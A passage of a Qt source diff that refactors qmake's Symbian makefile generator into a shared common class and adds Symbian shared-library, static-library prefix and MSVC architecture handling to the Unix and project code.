-    qt2S60LangMapTable.insert("sa", "SC");            //Sanskrit                      //
-    qt2S60LangMapTable.insert("sr", "79");            //Serbian                       //Serbian
-    qt2S60LangMapTable.insert("sh", "SC");            //SerboCroatian                 //
-    qt2S60LangMapTable.insert("st", "SC");            //Sesotho                       //
-    qt2S60LangMapTable.insert("tn", "SC");            //Setswana                      //
-    qt2S60LangMapTable.insert("sn", "SC");            //Shona                         //
-    qt2S60LangMapTable.insert("sd", "SC");            //Sindhi                        //
-    qt2S60LangMapTable.insert("si", "80");            //Singhalese                    //Sinhalese
-    qt2S60LangMapTable.insert("ss", "SC");            //Siswati                       //
-    qt2S60LangMapTable.insert("sk", "26");            //Slovak                        //Slovak
-    qt2S60LangMapTable.insert("sl", "28");            //Slovenian                     //Slovenian
-    qt2S60LangMapTable.insert("so", "81");            //Somali                        //Somali
-    qt2S60LangMapTable.insert("es", "04");            //Spanish                       //Spanish
-    qt2S60LangMapTable.insert("su", "SC");            //Sundanese                     //
-    qt2S60LangMapTable.insert("sw", "84");            //Swahili                       //Swahili
-    qt2S60LangMapTable.insert("sv", "06");            //Swedish                       //Swedish
-    qt2S60LangMapTable.insert("tl", "39");            //Tagalog                       //Tagalog
-    qt2S60LangMapTable.insert("tg", "SC");            //Tajik                         //
-    qt2S60LangMapTable.insert("ta", "87");            //Tamil                         //Tamil
-    qt2S60LangMapTable.insert("tt", "SC");            //Tatar                         //
-    qt2S60LangMapTable.insert("te", "88");            //Telugu                        //Telugu
-    qt2S60LangMapTable.insert("th", "33");            //Thai                          //Thai
-    qt2S60LangMapTable.insert("bo", "89");            //Tibetan                       //Tibetan
-    qt2S60LangMapTable.insert("ti", "90");            //Tigrinya                      //Tigrinya
-    qt2S60LangMapTable.insert("to", "SC");            //Tonga                         //
-    qt2S60LangMapTable.insert("ts", "SC");            //Tsonga                        //
-    qt2S60LangMapTable.insert("tr", "14");            //Turkish                       //Turkish
-    qt2S60LangMapTable.insert("tk", "92");            //Turkmen                       //Turkmen
-    qt2S60LangMapTable.insert("tw", "SC");            //Twi                           //
-    qt2S60LangMapTable.insert("ug", "SC");            //Uigur                         //
-    qt2S60LangMapTable.insert("uk", "93");            //Ukrainian                     //Ukrainian
-    qt2S60LangMapTable.insert("ur", "94");            //Urdu                          //Urdu
-    qt2S60LangMapTable.insert("uz", "SC");            //Uzbek                         //
-    qt2S60LangMapTable.insert("vi", "96");            //Vietnamese                    //Vietnamese
-    qt2S60LangMapTable.insert("vo", "SC");            //Volapuk                       //
-    qt2S60LangMapTable.insert("cy", "97");            //Welsh                         //Welsh
-    qt2S60LangMapTable.insert("wo", "SC");            //Wolof                         //
-    qt2S60LangMapTable.insert("xh", "SC");            //Xhosa                         //
-    qt2S60LangMapTable.insert("yi", "SC");            //Yiddish                       //
-    qt2S60LangMapTable.insert("yo", "SC");            //Yoruba                        //
-    qt2S60LangMapTable.insert("za", "SC");            //Zhuang                        //
-    qt2S60LangMapTable.insert("zu", "98");            //Zulu                          //Zulu
-    qt2S60LangMapTable.insert("nn", "75");            //Nynorsk                       //NorwegianNynorsk
-    qt2S60LangMapTable.insert("bs", "SC");            //Bosnian                       //
-    qt2S60LangMapTable.insert("dv", "SC");            //Divehi                        //
-    qt2S60LangMapTable.insert("gv", "SC");            //Manx                          //
-    qt2S60LangMapTable.insert("kw", "SC");            //Cornish                       //
-    qt2S60LangMapTable.insert("ak", "SC");            //Akan                          //
-    qt2S60LangMapTable.insert("kok", "SC");           //Konkani                       //
-    qt2S60LangMapTable.insert("gaa", "SC");           //Ga                            //
-    qt2S60LangMapTable.insert("ig", "SC");            //Igbo                          //
-    qt2S60LangMapTable.insert("kam", "SC");           //Kamba                         //
-    qt2S60LangMapTable.insert("syr", "SC");           //Syriac                        //
-    qt2S60LangMapTable.insert("byn", "SC");           //Blin                          //
-    qt2S60LangMapTable.insert("gez", "SC");           //Geez                          //
-    qt2S60LangMapTable.insert("kfo", "SC");           //Koro                          //
-    qt2S60LangMapTable.insert("sid", "SC");           //Sidamo                        //
-    qt2S60LangMapTable.insert("cch", "SC");           //Atsam                         //
-    qt2S60LangMapTable.insert("tig", "SC");           //Tigre                         //
-    qt2S60LangMapTable.insert("kaj", "SC");           //Jju                           //
-    qt2S60LangMapTable.insert("fur", "SC");           //Friulian                      //
-    qt2S60LangMapTable.insert("ve", "SC");            //Venda                         //
-    qt2S60LangMapTable.insert("ee", "SC");            //Ewe                           //
-    qt2S60LangMapTable.insert("wa", "SC");            //Walamo                        //
-    qt2S60LangMapTable.insert("haw", "SC");           //Hawaiian                      //
-    qt2S60LangMapTable.insert("kcg", "SC");           //Tyap                          //
-    qt2S60LangMapTable.insert("ny", "SC");            //Chewa                         //
-}
-
 void SymbianMakefileGenerator::appendIfnotExist(QStringList &list, QString value)
 {
     if (!list.contains(value))
@@ -1872,16 +1058,6 @@ void SymbianMakefileGenerator::appendIfnotExist(QStringList &list, QStringList v
         appendIfnotExist(list, item);
 }
 
-QString SymbianMakefileGenerator::removePathSeparators(QString &file)
-{
-    QString ret = file;
-    while (ret.indexOf(QDir::separator()) > 0) {
-        ret.remove(0, ret.indexOf(QDir::separator()) + 1);
-    }
-
-    return ret;
-}
-
 
 QString SymbianMakefileGenerator::removeTrailingPathSeparators(QString &file)
 {
@@ -1913,17 +1089,6 @@ void SymbianMakefileGenerator::generateCleanCommands(QTextStream& t,
     }
 }
 
-void SymbianMakefileGenerator::removeSpecialCharacters(QString& str)
-{
-    // When modifying this method check also application_icon.prf
-    str.replace(QString("/"), QString("_"));
-    str.replace(QString("\\"), QString("_"));
-    str.replace(QString("-"), QString("_"));
-    str.replace(QString(":"), QString("_"));
-    str.replace(QString("."), QString("_"));
-    str.replace(QString(" "), QString("_"));
-}
-
 void SymbianMakefileGenerator::generateDistcleanTargets(QTextStream& t)
 {
     t << "dodistclean:" << endl;
diff --git a/qmake/generators/symbian/symmake.h b/qmake/generators/symbian/symmake.h
index 0847ee8..a584a9a 100644
--- a/qmake/generators/symbian/symmake.h
+++ b/qmake/generators/symbian/symmake.h
@@ -43,6 +43,7 @@
 #define SYMMAKEFILE_H
 
 #include "initprojectdeploy_symbian.h"
+#include "symbiancommon.h"
 #include <makefile.h>
 
 QT_BEGIN_NAMESPACE
@@ -53,22 +54,11 @@ QT_BEGIN_NAMESPACE
 #define MAKE_CACHE_NAME ".make.cache"
 #define SYMBIAN_TEST_CONFIG "symbian_test"
 
-class SymbianMakefileGenerator : public MakefileGenerator
+class SymbianMakefileGenerator : public MakefileGenerator, public SymbianCommonGenerator
 {
 protected:
-    enum TargetType {
-        TypeExe,
-        TypeDll,
-        TypeLib,
-        TypePlugin,
-        TypeSubdirs
-    };
-
     QString platform;
     QString uid2;
-    QString uid3;
-    QString privateDirUid;
-    TargetType targetType;
     QMap<QString, QStringList> sources;
     QMap<QString, QStringList> systeminclude;
     QMap<QString, QStringList> library;
@@ -76,19 +66,10 @@ protected:
     QMap<QString, QStringList> makmakeCommands;
     QStringList overriddenMmpKeywords;
 
-    QStringList generatedFiles;
-    QStringList generatedDirs;
-    QHash<QString, QString> qt2S60LangMapTable;
-
-    QString fixedTarget;
-
-    void removeSpecialCharacters(QString& str);
     QString fixPathForMmp(const QString& origPath, const QDir& parentDir);
     QString absolutizePath(const QString& origPath);
 
     virtual bool writeMakefile(QTextStream &t);
-    void generatePkgFile(const QString &iconFile, DeploymentList &depList);
-    bool containsStartWithItem(const QChar &c, const QStringList& src);
 
     virtual void init();
 
@@ -109,8 +90,7 @@ protected:
     void writeHeader(QTextStream &t);
     void writeBldInfContent(QTextStream& t,
                             bool addDeploymentExtension,
-                            const QString &iconFile,
-                            DeploymentList &depList);
+                            const QString &iconFile);
 
     static bool removeDuplicatedStrings(QStringList& stringList);
 
@@ -124,29 +104,24 @@ protected:
     void writeMmpFileIncludePart(QTextStream& t);
     void writeMmpFileLibraryPart(QTextStream& t);
     void writeMmpFileCapabilityPart(QTextStream& t);
+    void writeMmpFileConditionalOptions(QTextStream& t,
+                                        const QString &optionType,
+                                        const QString &optionTag,
+                                        const QString &variableBase);
+    void writeMmpFileSimpleOption(QTextStream& t,
+                                  const QString &optionType,
+                                  const QString &optionTag,
+                                  const QString &options);
+    void appendMmpFileOptions(QString &options, const QStringList &list);
     void writeMmpFileCompilerOptionPart(QTextStream& t);
     void writeMmpFileBinaryVersionPart(QTextStream& t);
     void writeMmpFileRulesPart(QTextStream& t);
 
     void writeCustomDefFile();
 
-    void writeRegRssFile(QMap<QString, QStringList> &useritems);
-    void writeRegRssList(QTextStream &t, QStringList &userList,
-                         const QString &listTag,
-                         const QString &listItem);
-    void writeRssFile(QString &numberOfIcons, QString &iconfile);
-    void writeLocFile(QStringList &symbianLangCodes);
-    void readRssRules(QString &numberOfIcons,
-                      QString &iconFile,
-                      QMap<QString, QStringList> &userRssRules);
-
-    QStringList symbianLangCodesFromTsFiles();
-    void fillQt2S60LangMapTable();
-
     void appendIfnotExist(QStringList &list, QString value);
     void appendIfnotExist(QStringList &list, QStringList values);
 
-    QString removePathSeparators(QString &file);
     QString removeTrailingPathSeparators(QString &file);
     void generateCleanCommands(QTextStream& t,
                                const QStringList& toClean,
diff --git a/qmake/generators/symbian/symmake_abld.cpp b/qmake/generators/symbian/symmake_abld.cpp
index f90421b..0ba1a3c 100644
--- a/qmake/generators/symbian/symmake_abld.cpp
+++ b/qmake/generators/symbian/symmake_abld.cpp
@@ -71,7 +71,7 @@ SymbianAbldMakefileGenerator::~SymbianAbldMakefileGenerator() { }
 void SymbianAbldMakefileGenerator::writeMkFile(const QString& wrapperFileName, bool deploymentOnly)
 {
     QString gnuMakefileName = QLatin1String("Makefile_") + uid3;
-    removeSpecialCharacters(gnuMakefileName);
+    removeEpocSpecialCharacters(gnuMakefileName);
     gnuMakefileName.append(".mk");
 
     QFile ft(gnuMakefileName);
@@ -204,6 +204,8 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
     t << "DEL_FILE          = " << var("QMAKE_DEL_FILE") << endl;
     t << "DEL_DIR           = " << var("QMAKE_DEL_DIR") << endl;
     t << "MOVE              = " << var("QMAKE_MOVE") << endl;
+    t << "CHK_DIR_EXISTS    = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
+    t << "MKDIR             = " << var("QMAKE_MKDIR") << endl;
 #ifdef Q_OS_WIN32
     t << "XCOPY             = xcopy /d /f /h /r /y /i" << endl;
     t << "ABLD              = ABLD.BAT" << endl;
@@ -430,7 +432,7 @@ bool SymbianAbldMakefileGenerator::writeDeploymentTargets(QTextStream &t, bool i
         + privateDirUid;
     DeploymentList depList;
 
-    initProjectDeploySymbian(project, depList, remoteTestPath, false,
+    initProjectDeploySymbian(project, depList, remoteTestPath, false, true,
         QLatin1String(isRom ? ROM_DEPLOYMENT_PLATFORM : EMULATOR_DEPLOYMENT_PLATFORM),
         QString(), generatedDirs, generatedFiles);
 
@@ -472,7 +474,7 @@ void SymbianAbldMakefileGenerator::writeBldInfMkFilePart(QTextStream& t, bool ad
     // do not get that, special deployment only makefile is generated for them if needed.
     if (targetType != TypeSubdirs || addDeploymentExtension) {
         QString gnuMakefileName = QLatin1String("Makefile_") + uid3;
-        removeSpecialCharacters(gnuMakefileName);
+        removeEpocSpecialCharacters(gnuMakefileName);
         gnuMakefileName.append(".mk");
         t << "gnumakefile " << gnuMakefileName << endl;
     }
diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp
index 79663fb..3a6706a 100644
--- a/qmake/generators/symbian/symmake_sbsv2.cpp
+++ b/qmake/generators/symbian/symmake_sbsv2.cpp
@@ -75,7 +75,7 @@ void SymbianSbsv2MakefileGenerator::exportFlm()
 
         foreach(QFileInfo item, sourceInfos) {
             QFileInfo destInfo = QFileInfo(destDir.absolutePath() + "/" + item.fileName());
-            if (!destInfo.exists() || destInfo.lastModified() < item.lastModified()) {
+            if (!destInfo.exists() || destInfo.lastModified() != item.lastModified()) {
                 if (destInfo.exists())
                     QFile::remove(destInfo.absoluteFilePath());
                 if (QFile::copy(item.absoluteFilePath(), destInfo.absoluteFilePath()))
@@ -147,6 +147,8 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo
     t << "QMAKE             = " << var("QMAKE_QMAKE") << endl;
     t << "DEL_FILE          = " << var("QMAKE_DEL_FILE") << endl;
     t << "DEL_DIR           = " << var("QMAKE_DEL_DIR") << endl;
+    t << "CHK_DIR_EXISTS    = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
+    t << "MKDIR             = " << var("QMAKE_MKDIR") << endl;
     t << "MOVE              = " << var("QMAKE_MOVE") << endl;
     t << "DEBUG_PLATFORMS   = " << debugPlatforms.join(" ") << endl;
     t << "RELEASE_PLATFORMS = " << releasePlatforms.join(" ") << endl;
@@ -386,7 +388,7 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
 
     //write emulator deployment
     t << "#if defined(WINSCW)" << endl;
-    initProjectDeploySymbian(project, depList, remoteTestPath, false,
+    initProjectDeploySymbian(project, depList, remoteTestPath, false, true,
         QLatin1String(EMULATOR_DEPLOYMENT_PLATFORM), QString(), generatedDirs, generatedFiles);
     writeSbsDeploymentList(depList, t);
     t << "#endif" << endl;
@@ -394,7 +396,7 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
     //write ROM deployment
     remoteTestPath = epocRoot() + QLatin1String("epoc32/data/z/private/") + privateDirUid;
     depList.clear();
-    initProjectDeploySymbian(project, depList, remoteTestPath, false,
+    initProjectDeploySymbian(project, depList, remoteTestPath, false, true,
         QLatin1String(ROM_DEPLOYMENT_PLATFORM), QString(), generatedDirs, generatedFiles);
     writeSbsDeploymentList(depList, t);
     t << endl;
diff --git a/qmake/generators/unix/unixmake.cpp b/qmake/generators/unix/unixmake.cpp
index f85d707..db5b957 100644
--- a/qmake/generators/unix/unixmake.cpp
+++ b/qmake/generators/unix/unixmake.cpp
@@ -65,6 +65,10 @@ UnixMakefileGenerator::init()
         }
     }
 
+    if (project->isEmpty("QMAKE_PREFIX_SHLIB"))
+        // Prevent crash when using the empty variable.
+        project->values("QMAKE_PREFIX_SHLIB").append("");
+
     if(!project->isEmpty("QMAKE_FAILED_REQUIREMENTS")) /* no point */
         return;
 
@@ -449,7 +453,9 @@ UnixMakefileGenerator::findLibraries()
                     if(!libdirs.contains(f))
                         libdirs.append(f);
                 } else if(opt.startsWith("-l")) {
-                    if (project->isActiveConfig("rvct_linker")) {
+                    if (!project->isEmpty("QMAKE_RVCT_LINKSTYLE")) {
+                        (*it) = opt.mid(2);
+                    } else if (project->isActiveConfig("rvct_linker")) {
                         (*it) = "lib" + opt.mid(2) + ".so";
                     } else {
                         stub = opt.mid(2);
@@ -489,26 +495,29 @@ UnixMakefileGenerator::findLibraries()
                 QStringList extens;
                 if(!extn.isNull())
                     extens << extn;
+                else if (!project->isEmpty("QMAKE_SYMBIAN_SHLIB"))
+                    // In Symbian you link to the stub .lib file, but run with the .dll file.
+                    extens << "lib";
                 else
                     extens << project->values("QMAKE_EXTENSION_SHLIB").first() << "a";
                 for(QStringList::Iterator extit = extens.begin(); extit != extens.end(); ++extit) {
                     if(dir.isNull()) {
-                        QString lib_stub;
                         for(QList<QMakeLocalFileName>::Iterator dep_it = libdirs.begin(); dep_it != libdirs.end(); ++dep_it) {
-                            if(exists((*dep_it).local() + Option::dir_sep + "lib" + stub +
-                                      "." + (*extit))) {
-                                lib_stub = stub;
+                            QString pathToLib = ((*dep_it).local() + Option::dir_sep
+                                    + project->values("QMAKE_PREFIX_SHLIB").first()
+                                    + stub + "." + (*extit));
+                            if(exists(pathToLib)) {
+                                if (!project->isEmpty("QMAKE_RVCT_LINKSTYLE"))
+                                    (*it) = pathToLib;
+                                else
+                                    (*it) = "-l" + stub;
+                                found = true;
                                 break;
                             }
                         }
-                        if(!lib_stub.isNull()) {
-                            (*it) = "-l" + lib_stub;
-                            found = true;
-                            break;
-                        }
                     } else {
-                        if(exists("lib" + stub + "." + (*extit))) {
-                            (*it) = "lib" + stub + "." + (*extit);
+                        if(exists(project->values("QMAKE_PREFIX_SHLIB").first() + stub + "." + (*extit))) {
+                            (*it) = project->values("QMAKE_PREFIX_SHLIB").first() + stub + "." + (*extit);
                             found = true;
                             break;
                         }
@@ -516,8 +525,8 @@ UnixMakefileGenerator::findLibraries()
                 }
                 if(!found && project->isActiveConfig("compile_libtool")) {
                     for(int dep_i = 0; dep_i < libdirs.size(); ++dep_i) {
-                        if(exists(libdirs[dep_i].local() + Option::dir_sep + "lib" + stub + Option::libtool_ext)) {
-                            (*it) = libdirs[dep_i].real() + Option::dir_sep + "lib" + stub + Option::libtool_ext;
+                        if(exists(libdirs[dep_i].local() + Option::dir_sep + project->values("QMAKE_PREFIX_SHLIB").first() + stub + Option::libtool_ext)) {
+                            (*it) = libdirs[dep_i].real() + Option::dir_sep + project->values("QMAKE_PREFIX_SHLIB").first() + stub + Option::libtool_ext;
                             found = true;
                             break;
                         }
@@ -557,7 +566,7 @@ UnixMakefileGenerator::processPrlFiles()
                     for(int dep_i = 0; dep_i < libdirs.size(); ++dep_i) {
                         const QMakeLocalFileName &lfn = libdirs[dep_i];
                         if(!project->isActiveConfig("compile_libtool")) { //give them the .libs..
-                            QString la = lfn.local() + Option::dir_sep + "lib" + lib + Option::libtool_ext;
+                            QString la = lfn.local() + Option::dir_sep + project->values("QMAKE_PREFIX_SHLIB").first() + lib + Option::libtool_ext;
                             if(exists(la) && QFile::exists(lfn.local() + Option::dir_sep + ".libs")) {
                                 QString dot_libs = lfn.real() + Option::dir_sep + ".libs";
                                 l.append("-L" + dot_libs);
@@ -565,7 +574,7 @@ UnixMakefileGenerator::processPrlFiles()
                             }
                         }
 
-                        QString prl = lfn.local() + Option::dir_sep + "lib" + lib;
+                        QString prl = lfn.local() + Option::dir_sep + project->values("QMAKE_PREFIX_SHLIB").first() + lib;
                         if(!project->isEmpty("QMAKE_" + lib.toUpper() + "_SUFFIX"))
                             prl += project->first("QMAKE_" + lib.toUpper() + "_SUFFIX");
                         if(processPrlFile(prl)) {
diff --git a/qmake/generators/unix/unixmake.h b/qmake/generators/unix/unixmake.h
index 77bdd01..0ea3350 100644
--- a/qmake/generators/unix/unixmake.h
+++ b/qmake/generators/unix/unixmake.h
@@ -49,7 +49,6 @@ QT_BEGIN_NAMESPACE
 class UnixMakefileGenerator : public MakefileGenerator
 {
     bool init_flag, include_deps;
-    bool writeMakefile(QTextStream &);
     QString libtoolFileName(bool fixify=true);
     void writeLibtoolFile();     // for libtool
     QString pkgConfigPrefix() const;
@@ -75,6 +74,7 @@ protected:
     virtual void init();
 
     void writeMakeParts(QTextStream &);
+    bool writeMakefile(QTextStream &);
 
 private:
     void init2();
diff --git a/qmake/generators/unix/unixmake2.cpp b/qmake/generators/unix/unixmake2.cpp
index 5def030..3e731a1 100644
--- a/qmake/generators/unix/unixmake2.cpp
+++ b/qmake/generators/unix/unixmake2.cpp
@@ -177,6 +177,12 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
     if(!project->isEmpty("QMAKE_MACOSX_DEPLOYMENT_TARGET"))
         t << "export MACOSX_DEPLOYMENT_TARGET = " //exported to children processes
           << project->first("QMAKE_MACOSX_DEPLOYMENT_TARGET") << endl;
+
+    if (!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
+        t << "vpath %.dso " << project->values("QMAKE_LIBDIR").join(":") << endl;
+        t << "vpath %.lib " << project->values("QMAKE_LIBDIR").join(":") << endl;
+    }
+
     t << endl;
 
     t << "####### Output directory" << endl << endl;
@@ -233,6 +239,8 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
         if(!project->isEmpty("QMAKE_BUNDLE")) {
             t << "TARGETD       = " << escapeFilePath(var("TARGET_x.y")) << endl;
             t << "TARGET0       = " << escapeFilePath(var("TARGET_")) << endl;
+        } else if(!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
+            t << "TARGETD       = " << escapeFilePath(var("TARGET")) << endl;
         } else if(project->isEmpty("QMAKE_HPUX_SHLIB")) {
             t << "TARGETD       = " << escapeFilePath(var("TARGET_x.y.z")) << endl;
             t << "TARGET0       = " << escapeFilePath(var("TARGET_")) << endl;
@@ -332,7 +340,8 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
         t << "SUBLIBS       = ";
         QStringList &l = project->values("SUBLIBS");
         for(QStringList::Iterator it = l.begin(); it != l.end(); ++it)
-            t << libdir << "lib" << (*it) << ".a ";
+            t << libdir << project->first("QMAKE_PREFIX_STATICLIB") << (*it) << "."
+              << project->first("QMAKE_EXTENSION_STATICLIB") << " ";
         t << endl << endl;
     }
     if(project->isActiveConfig("depend_prl") && !project->isEmpty("QMAKE_PRL_INTERNAL_FILES")) {
@@ -545,6 +554,17 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
             if(!project->isEmpty("QMAKE_POST_LINK"))
                 t << "\n\t" << var("QMAKE_POST_LINK");
             t << endl << endl;
+        } else if(!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
+            t << "\n\t"
+              << "-$(DEL_FILE) $(TARGET)" << "\n\t"
+              << var("QMAKE_LINK_SHLIB_CMD");
+            if(!destdir.isEmpty())
+                t << "\n\t"
+                  << "-$(DEL_FILE) " << destdir << "$(TARGET)\n\t"
+                  << "-$(MOVE) $(TARGET) " << destdir;
+            if(!project->isEmpty("QMAKE_POST_LINK"))
+                t << "\n\t" << var("QMAKE_POST_LINK");
+            t << endl << endl;
         } else if(project->isEmpty("QMAKE_HPUX_SHLIB")) {
             t << "\n\t"
               << "-$(DEL_FILE) $(TARGET) $(TARGET0) $(TARGET1) $(TARGET2)" << "\n\t"
@@ -860,7 +880,8 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
             libdir = project->first("SUBLIBS_DIR");
         QStringList &l = project->values("SUBLIBS");
         for(it = l.begin(); it != l.end(); ++it)
-            t << libdir << "lib" << (*it) << ".a" << ":\n\t"
+            t << libdir << project->first("QMAKE_PREFIX_STATICLIB") << (*it) << "."
+              << project->first("QMAKE_EXTENSION_STATICLIB") << ":\n\t"
               << var(QString("MAKELIB") + (*it)) << endl << endl;
     }
 
@@ -875,9 +896,10 @@ UnixMakefileGenerator::writeMakeParts(QTextStream &t)
         t << "\t-$(LIBTOOL) --mode=clean $(DEL_FILE) " << "$(TARGET)" << endl;
     } else if(!project->isActiveConfig("staticlib") && project->values("QMAKE_APP_FLAG").isEmpty() &&
        !project->isActiveConfig("plugin")) {
-        t << "\t-$(DEL_FILE) " << destdir << "$(TARGET)" << " " << endl
-          << "\t-$(DEL_FILE) " << destdir << "$(TARGET0) " << destdir << "$(TARGET1) "
-          << destdir << "$(TARGET2) $(TARGETA)" << endl;
+        t << "\t-$(DEL_FILE) " << destdir << "$(TARGET)" << " " << endl;
+        if (project->values("QMAKE_SYMBIAN_SHLIB").isEmpty())
+            t << "\t-$(DEL_FILE) " << destdir << "$(TARGET0) " << destdir << "$(TARGET1) "
+              << destdir << "$(TARGET2) $(TARGETA)" << endl;
     } else {
         t << "\t-$(DEL_FILE) " << "$(TARGET)" << " " << endl;
     }
@@ -992,12 +1014,13 @@ void UnixMakefileGenerator::init2()
        if (!project->values("QMAKE_CYGWIN_EXE").isEmpty())
             project->values("TARGET_EXT").append(".exe");
     } else if (project->isActiveConfig("staticlib")) {
-        project->values("TARGET").first().prepend("lib");
-        project->values("TARGET").first() += ".a";
+        project->values("TARGET").first().prepend(project->first("QMAKE_PREFIX_STATICLIB"));
+        project->values("TARGET").first() += "." + project->first("QMAKE_EXTENSION_STATICLIB");
         if(project->values("QMAKE_AR_CMD").isEmpty())
             project->values("QMAKE_AR_CMD").append("$(AR) $(TARGET) $(OBJECTS)");
     } else {
-        project->values("TARGETA").append(project->first("DESTDIR") + "lib" + project->first("TARGET") + ".a");
+        project->values("TARGETA").append(project->first("DESTDIR") + project->first("QMAKE_PREFIX_STATICLIB")
+                + project->first("TARGET") + "." + project->first("QMAKE_EXTENSION_STATICLIB"));
         if(project->isActiveConfig("compile_libtool"))
             project->values("TARGET_la") = QStringList(project->first("DESTDIR") + "lib" + project->first("TARGET") + Option::libtool_ext);
 
@@ -1045,7 +1068,8 @@ void UnixMakefileGenerator::init2()
                                                         project->first("VER_MAJ"));
             project->values("TARGET") = project->values("TARGET_x");
         } else if (!project->isEmpty("QMAKE_AIX_SHLIB")) {
-            project->values("TARGET_").append("lib" + project->first("TARGET") + ".a");
+            project->values("TARGET_").append(project->first("QMAKE_PREFIX_STATICLIB") + project->first("TARGET")
+                    + "." + project->first("QMAKE_EXTENSION_STATICLIB"));
             if(project->isActiveConfig("lib_version_first")) {
                 project->values("TARGET_x").append("lib" + project->first("TARGET") + "." +
                                                         project->first("VER_MAJ") + "." +
@@ -1074,6 +1098,10 @@ void UnixMakefileGenerator::init2()
                                                             project->first("VER_PAT"));
             }
             project->values("TARGET") = project->values("TARGET_x.y.z");
+        } else if (!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
+            project->values("TARGET_").append(project->first("TARGET") + "." +
+                                                   project->first("QMAKE_EXTENSION_SHLIB"));
+            project->values("TARGET") = project->values("TARGET_");
         } else {
             project->values("TARGET_").append("lib" + project->first("TARGET") + "." +
                                                    project->first("QMAKE_EXTENSION_SHLIB"));
diff --git a/qmake/option.cpp b/qmake/option.cpp
index b41e39d..49030c3 100644
--- a/qmake/option.cpp
+++ b/qmake/option.cpp
@@ -410,6 +410,7 @@ Option::init(int argc, char **argv)
     Option::res_ext = ".res";
 #else
     Option::dirlist_sep = ":";
+    Option::shellPath = QStringList("sh");
 #endif
     Option::sysenv_mod = "QMAKE_ENV_";
     Option::field_sep = ' ';
@@ -612,7 +613,7 @@ bool Option::postProcessProject(QMakeProject *project)
 QString
 Option::fixString(QString string, uchar flags)
 {
-    const QString orig_string = string;
+    //const QString orig_string = string;
     static QHash<FixStringCacheKey, QString> *cache = 0;
     if(!cache) {
         cache = new QHash<FixStringCacheKey, QString>;
diff --git a/qmake/project.cpp b/qmake/project.cpp
index 9e6db10..3c56272 100644
--- a/qmake/project.cpp
+++ b/qmake/project.cpp
@@ -675,6 +675,7 @@ QMakeProject::init(QMakeProperty *p, const QMap<QString, QStringList> *vars)
         prop = p;
         own_prop = false;
     }
+    recursive = false;
     reset();
 }
 
@@ -699,7 +700,6 @@ QMakeProject::reset()
     scope_blocks.push(ScopeBlock());
     iterator = 0;
     function = 0;
-    recursive = false;
 }
 
 bool
@@ -1245,8 +1245,7 @@ QMakeProject::read(const QString &file, QMap<QString, QStringList> &place)
     reset();
 
     const QString oldpwd = qmake_getpwd();
-    QString filename = Option::fixPathToLocalOS(file);
-    doVariableReplace(filename, place);
+    QString filename = Option::fixPathToLocalOS(file, false);
     bool ret = false, using_stdin = false;
     QFile qfile;
     if(!strcmp(filename.toLatin1(), "-")) {
@@ -2516,8 +2515,6 @@ QMakeProject::doProjectTest(QString func, QList<QStringList> args_list, QMap<QSt
     case T_BREAK:
         if(iterator)
             iterator->cause_break = true;
-        else if(!scope_blocks.isEmpty())
-            scope_blocks.top().ignore = true;
         else
             fprintf(stderr, "%s:%d unexpected break()\n",
                     parser.file.toLatin1().constData(), parser.line_no);
@@ -3146,6 +3143,21 @@ QStringList &QMakeProject::values(const QString &_var, QMap<QString, QStringList
         if (place[var].isEmpty())
             place[var] = QStringList(epocRoot());
     }
+#if defined(Q_OS_WIN32) && defined(Q_CC_MSVC)
+      else if(var.startsWith(QLatin1String("QMAKE_TARGET."))) {
+            QString ret, type = var.mid(13);
+            if(type == "arch") {
+                QString paths = qgetenv("PATH");
+                QString vcBin64 = qgetenv("VCINSTALLDIR").append("\\bin\\amd64");
+                QString vcBinX86_64 = qgetenv("VCINSTALLDIR").append("\\bin\\x86_amd64");
+                if(paths.contains(vcBin64,Qt::CaseInsensitive) || paths.contains(vcBinX86_64,Qt::CaseInsensitive))
+                    ret = "x86_64";
+                else
+                    ret = "x86";
+            }
+            place[var] = QStringList(ret);
+    }
+#endif
     //qDebug("REPLACE [%s]->[%s]", qPrintable(var), qPrintable(place[var].join("::")));
     return place[var];
 }
diff --git a/qmake/qmake.pri b/qmake/qmake.pri
index 0821f00..0163839 100644
--- a/qmake/qmake.pri
+++ b/qmake/qmake.pri
@@ -14,6 +14,7 @@ SOURCES += project.cpp property.cpp main.cpp generators/makefile.cpp \
            generators/win32/msvc_nmake.cpp generators/projectgenerator.cpp \
            generators/win32/msvc_vcproj.cpp \
            generators/win32/msvc_objectmodel.cpp \
+           generators/symbian/symbiancommon.cpp \
            generators/symbian/symmake.cpp \
            generators/symbian/symmake_abld.cpp \
            generators/symbian/symmake_sbsv2.cpp \
@@ -28,6 +29,7 @@ HEADERS += project.h property.h generators/makefile.h \
            generators/xmloutput.h generators/win32/borland_bmake.h generators/win32/msvc_nmake.h \
            generators/win32/msvc_vcproj.h \
            generators/win32/mingw_make.h generators/win32/msvc_objectmodel.h \
+           generators/symbian/symbiancommon.h \
            generators/symbian/symmake.h \
            generators/symbian/symmake_abld.h \
            generators/symbian/symmake_sbsv2.h \
@@ -130,6 +132,7 @@ bootstrap { #Qt code
     } else:win32 {
 	SOURCES += qfsfileengine_win.cpp qfsfileengine_iterator_win.cpp qsettings_win.cpp
         win32-msvc*:LIBS += ole32.lib advapi32.lib
+        win32-g++:LIBS += -lole32 -luuid
     }
 
     qnx {
diff --git a/src/3rdparty/harfbuzz/src/Makefile.am b/src/3rdparty/harfbuzz/src/Makefile.am
index 2b0fb1d..51d0652 100644
--- a/src/3rdparty/harfbuzz/src/Makefile.am
